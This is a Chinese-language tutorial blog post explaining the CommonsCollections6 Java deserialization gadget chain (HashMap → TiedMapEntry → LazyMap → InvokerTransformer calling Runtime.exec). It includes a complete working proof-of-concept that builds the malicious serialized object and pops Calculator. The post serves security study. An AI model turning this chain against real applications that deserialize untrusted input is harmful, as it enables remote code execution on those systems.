1. 程式人生 > 其它 >反序列化Gadget學習篇四 CommonCollections6

反序列化Gadget學習篇四 CommonCollections6

這一次來解決前幾篇說到的AnnotationInvocationHandler#readObject方法在jdk8u71之後無法使用的問題,情況是導彈的彈頭仍然生效,但是負責運送的導彈失效了,所以我們需要找一個新的運送導彈。

一、利用鏈尋找

前面說到我們使用AnnotationInvocationHandler這個類是因為它的readObject方法中隊我們初始化好的一個Map呼叫get(),那現在需要尋找一個新的方法,找gadget一般是反向找,首先看哪個地方呼叫到了LazyMap.get(),這次找到的類是org.apache.commons.collections.keyvalue.TiedMapEntry


在其getValue⽅法中調⽤了 this.map.get ,⽽其hashCode⽅法調⽤了getValue⽅法:


import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

// ...
    
    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }
// ...

下一步要尋找什麼地方呼叫了TiedMapEntry#hashCode()

ysoserial中,是利⽤java.util.HashSet#readObjectHashMap#put()HashMap#hash(key)最後到TiedMapEntry#hashCode()
@phith0n的文章中用的是相對簡單一些鏈,從java.util.HashMap#readObject中就可以找到HashMap#hash()

public class HashMap<K,V> extends AbstractMap<K,V>
    implements Map<K,V>, Cloneable, Serializable {
    
    // ...
    
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

    // ...
    
    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // ...
        
            s.defaultReadObject();
    
        // ...
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }
}

構造Gadget

現在有了前面的經驗,我們來直接根據這些資訊寫Gadget:
HashMap#readObject --> HashMap#hash() --> TiedMapEntry#hashCode() --> TiedMapEntry#getValue() --> LazyMap#get() 後面和之前一致。
首先一樣構造出惡意的LazyMap:

Transformer transformer[] = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformer);
Map innerMap = new HashMap<>();

Map outMap = LazyMap.decorate(innerMap, transformerChain);

下一步構造一個TiedMapEntry,使用構造好的LazyMap初始化:

TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");

最終我們要傳送一個HashMap物件,初始化一個新的HashMap,並把TiedMapEntry作為key:

TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
HashMap map = new HashMap();
map.put(tme, "whatevedr");

直接序列化傳送即可,這裡本地復現:


ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();

//本地反序列化復現
System.out.println(barr);
ByteArrayInputStream bis = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();

執行觸發,表面上實現了功能,但是實際上存在問題:

問題

在除錯檢視呼叫棧的時候發現,程式碼並沒有執行到readObject就停止了,但是仍然彈出了計算器,報錯產生在writeObject(),那麼如果是實戰,會發現無法得到惡意類的序列化資料。簡單思考一下就明白,出現了之前說過的問題,直接把惡意的transform鏈繫結到lazymap上了,可能前面有某個地方呼叫到了,或者偵錯程式呼叫到了,導致本地彈出計算器。
手動除錯發現,在new TiedMapEntry時,偵錯程式會觸發,彈出計算器。所以我們還要先設定一個假的transform鏈,最後再通過反射改到真正的惡意鏈上。
新增加一個faketransformers

Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};

在map.put後新增通過反射修改ChainedTransformer的欄位的程式碼:

map.put(tme, "whatevedr");
Field f = ChainedTransformer.class.getField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformer);

再執行,發現這次沒有報錯了,輸出了序列化後的資料,但是也不彈出計算器了。繼續除錯發現在LazyMap#get呼叫transform的關鍵函式前的一個if判斷:

因為map中包含一個key名為whatever導致跳過了程式碼執行部分,但是我們並沒有給map增加一個key名為whatever。
poc程式碼中和whatever有關聯的部分只有三行:

TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
Map map = new HashMap();
map.put(tme, "valuevalue");

在除錯時給LazyMap#get下了斷點,重新除錯發現在列印序列化資料之前就呼叫到了這部分,檢視呼叫棧,發現HashMap#put也會呼叫Hash函式,導致最終的map和預期的不一致:

outMap多了一個key是whatever:

因此解決方案就是手動把這個key去掉:

outMap.remove("whatever");

再次執行成功彈出計算器:

完整程式碼:

package changez.sec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer transformer[] = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();

        Map outMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
        Map map = new HashMap();
        map.put(tme, "valuevalue");
        // HashMap.put方法也會呼叫hash,導致觸發利用鏈執行,但是這時候使用的是faketransformers,沒有執行命令但是導致陣列多了一個key為whatever,最終會導致反序列化時無法執行命令
        // 手動刪除這個key保證執行到LazyMap.get()裡面的this.factory.transform(key)
        outMap.remove("whatever");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformer);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(map);
        oos.close();

        System.out.println(barr);
        ByteArrayInputStream bis = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();


    }

}